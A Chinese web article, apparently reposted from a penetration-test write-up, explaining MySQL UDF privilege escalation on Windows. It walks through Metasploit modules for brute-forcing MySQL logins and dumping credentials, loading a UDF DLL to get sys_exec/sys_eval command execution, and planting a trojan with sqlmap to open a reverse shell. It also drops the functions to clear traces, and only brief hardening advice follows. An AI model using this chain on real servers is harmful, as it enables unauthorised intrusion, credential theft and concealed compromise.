广告位联系
返回顶部
分享到

Window环境下MySQL UDF提权介绍

Mysql 来源:互联网 作者:佚名 发布时间:2024-02-12 23:06:44 人浏览
摘要

UDF(Userdefined function)可以翻译为用户自定义函数,其为mysql的一个拓展接口,可以为Mysql增添一些函数,对MySQL的功能进行扩充,然后就可以在MySQL中进行使用这些函数了。攻击者通过编写调用cm

本文章仅记录某次内网渗透过程中遇到的MySQL 采用UDF提权等方式进行获取权限,文章中内容仅用于技术交流,切勿用于非授权下渗透攻击行为,慎重!!!

一、UDF简介

UDF(Userdefined function)可以翻译为用户自定义函数,其为mysql的一个拓展接口,可以为Mysql增添一些函数,对MySQL的功能进行扩充,然后就可以在MySQL中进行使用这些函数了。

攻击者通过编写调用cmd或shell的udf.dll/udf.so文件,并且导入到指定的文件夹目录下,创建一个指向udf.dll/udf.so的自定义函数,从而在数据库中的查询就等价于在cmd或shell中执行命令。

二、UDF提权条件

1、MySQL数据库的Root权限(可以通过账号密码远程登录到Mysql数据库)

2、MySQL具有写入文件的权限(即Secure_file_priv的值为空,不为空时必须有写入my.ini的权限)

连接MySQL数据库后,通过SQL语句show global variables like '%secure%';查看secure_file_priv的值。

当secure_file_priv的值为NULL,表示限制mysqld不允许导入|导出,此时无法提权。
当secure_file_priv的值为/tmp/, 表示限制mysqld的导入|导出只能发生在/tmp/目录下,此时也无法提权;
当secure_file_priv的值没有具体值时,表示不对mysqld的导入|导出做限制,此时可提权。

如果secure_file_priv的值不是空,需要在MySQL/my.ini中设置secure_file_priv参数为secure_file_priv =

 

三、上传动态链接库文件

动态链接库就是实现共享函数库概念的一种方式,在windows环境下后缀名为 .dll ,在Linux环境下后缀名为 .so ,我们要将该文件放在特定的目录中,该文件中包含了执行系统命令的一些函数。

MySQL版本大于5.1 ,udf.dll文件必须放置在mysql安装目录的libplugin文件夹下(plugin文件夹默认不存在,需要自行创建;MySQL安装目录可以通过select basedir() 或者select @@basedir 查看)

MySQL版本小于5.1 ,udf.dll文件在win2003下放置于C:Windows或者C:Windowssystem32目录,在win2000下放置在C:Winntsystem32目录。

 

四、UDF提权步骤

 

1、查看secure_file_priv的值

Secure_file_priv是用来限制load dumpfile、into outfile、load_file() 函数在哪个目录下拥有上传或者读取文件的权限。

输入语句:show global variables like '%secure%'; ##值为空即可操作

 

2、查看plugin的值

1

select Host,user,plugin from mysql.user where user = substring_index(user(),'@',1);

当 plugin 的值为空时不可提权
当 plugin 值为 mysql_native_password 时可通过账户连接提权

实际测试发现UDF提权成功与否与该值无关。

 

3、查看系统构架以及plugin目录

Show variables like '%compile%';  //查看主机版本及架构

show variables like '%plugin%'; //查看 plugin 目录

 

MSF漏洞验证

使用MSF搜索关于MySQL辅助利用脚本

search mysql

使用弱口令扫描脚本,并查看需要配置选项

use auxiliary/scanner/mysql/mysql_login
show options

可配置 pass_file(暴力破解字典,所在绝对路径)在不知道密码的情况下可使用
配置 RHOSTS (靶机IP地址)
set rhosts 192.168.x.x/24 (可批量扫描)

配置USERNAME(靶机MySQL服务用户名)或者配置USER_FILE(用户名字典)

方法二选一

set pass_file /top100.txt
set rhosts 192.168.x.x
set username root
run 或者 exploit 进行攻击!!!

以上两种方法是在未知MySQL数据库账密情况下进行爆破方式,具体以实际情况为主。

获取MySQL的基础信息

使用模块:use auxiliary/admin/mysql/mysql_enum

set rhosts 192.168.x.x
set password root
set username root
run

获取MySQL基础信息及其他存在用户及其密码

可使用CMD5或者john工具进行破解

接下来进行UDF提权,加载攻击载荷

use exploit/multi/mysql/mysql_udf_payload
set rhosts 192.168.*.*
set password root

在MySQL中执行SQL语句,查看上传的DLL文件名

select * from mysql.func;

执行命令 select sys_exec("whoami");

如果返回结果为 0 就代表成功,返回1代表失败。

通过之前MSF生成的DLL文件创建sys_eval()函数,使执行的命令存在回显。

create function sys_eval returns string soname "****.dll";

再次执行命令 select sys_eval("whoami");

可使用攻击载荷 use auxiliary/admin/mysql/mysql_sql 进行后续其他命令操作

 

五、UDF提权反弹Shell

当UDF提权后,我们想反弹一个MSF或者CS的shell,首先呢使用CS的PowerShell反弹命令是不行的,这里由于powershell命令引号过多,不能执行。

那么现在的思路就是执行木马文件,反弹Shell,这里由于sys_eval函数不能执行Windows那些远程下载命令,所以我们选择通过sqlmap的写入文件功能,将木马写入当前目录。

首先,查看当前目录

然后sqlmap写入木马,这里也是可以进行远程下载的;

命令:sqlmap -u "http://192.168.x.x?id=1" --file-write msf.exe --file-est "C:phpStudyPHPTutorialMySQLdata*.exe"

执行木马反弹,这里需要注意的是,sys_eval函数只能执行当前目录下的文件,所以,也只能把文件写入当前路径下。

 

六、清理痕迹

命令:drop function sys_eval; drop function sys_exec;

 

七、修复建议

1、mysql配置文件中 secure_file_priv 项设置为NULL或非 mysql/lib/plugin目录。

2、控制目录访问权限,例如控制/lib/plugin,system32/wbem/mof等目录需要管理员权限访问或者设置为只读权限。

3、数据库用户确保正确实施最小权限原则。


版权声明 : 本文内容来源于互联网或用户自行发布贡献,该文观点仅代表原作者本人。本站仅提供信息存储空间服务和不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权, 违法违规的内容, 请发送邮件至2530232025#qq.cn(#换@)举报,一经查实,本站将立刻删除。
原文链接 :
相关文章
  • SQL触发器定义与使用姐啊
    比如:现需要向学生表中插入新的学生数据。但在插入学生数据的时,需要同时检查老师表里的数据。如果插入学生的老师不在老师表里,
  • Window环境下MySQL UDF提权介绍

    Window环境下MySQL UDF提权介绍
    UDF(Userdefined function)可以翻译为用户自定义函数,其为mysql的一个拓展接口,可以为Mysql增添一些函数,对MySQL的功能进行扩充,然后就可以在
  • 华为云云数据库MySQL的体验流程介绍

    华为云云数据库MySQL的体验流程介绍
    一、MySQL相关概念 1.什么是MySQL MySQL是一个关系型数据库管理系统,由瑞典MySQL AB公司开发,属于Oracle旗下产品。MySQL是最流行的关系型数据库
  • Mysql tinyint(1)与tinyint(4)的区别介绍
    什么是tinyint(M)? 先来了解下mysql中字符串类型varchar(M)和数值类型tinyint(M)的区别? 字符串列类型:varchar(M)而言,M是字段中可以存储的最大字
  • MySQL实现数据批量更新功能介绍
    根据不同条件批量更新同一值 这种场景直接通过update语句更新即可,如: 1 UPDATE t_sys_user SET `desc` = CaseWhen-0 WHERE id IN (1001,1002,1003); 根据不同
  • MySQL不用like+%实现模糊查询介绍

    MySQL不用like+%实现模糊查询介绍
    一、前言 我们都知道 InnoDB 在模糊查询数据时使用 %xx 会导致索引失效,但有时需求就是如此,类似这样的需求还有很多,例如,搜索引擎需
  • SQL触发器定义与使用
    比如:现需要向学生表中插入新的学生数据。但在插入学生数据的时,需要同时检查老师表里的数据。如果插入学生的老师不在老师表里,
  • 在MySQL数据库中支持完整的Unicode的方法
    在你的数据库中使用 MySQL 的 utf8 字符集吗? 在这篇文章中,我将解释为什么你应该改用 utf8mb4,以及如何去做。 UTF-8 UTF-8编码可以表示Uni
  • mysql之查找所有数据库中没有主键的表问题
    查找所有数据库中没有主键的表 1 2 3 4 5 6 7 select table_schema,table_name from information_schema.tables where (table_schema,table_name) not in( select distinct table_
  • IDEA连接MySQL数据库并执行SQL语句使用数据图文介

    IDEA连接MySQL数据库并执行SQL语句使用数据图文介
    一、IDEA连接MySQL数据库 (一)首先新建普通Java项目 (二)连接数据库 1、点击右侧DataBase 2、点击加号,找到MySQL,添加数据库 3、输入用户
  • 本站所有内容来源于互联网或用户自行发布,本站仅提供信息存储空间服务,不拥有版权,不承担法律责任。如有侵犯您的权益,请您联系站长处理!
  • Copyright © 2017-2022 F11.CN All Rights Reserved. F11站长开发者网 版权所有 | 苏ICP备2022031554号-1 | 51LA统计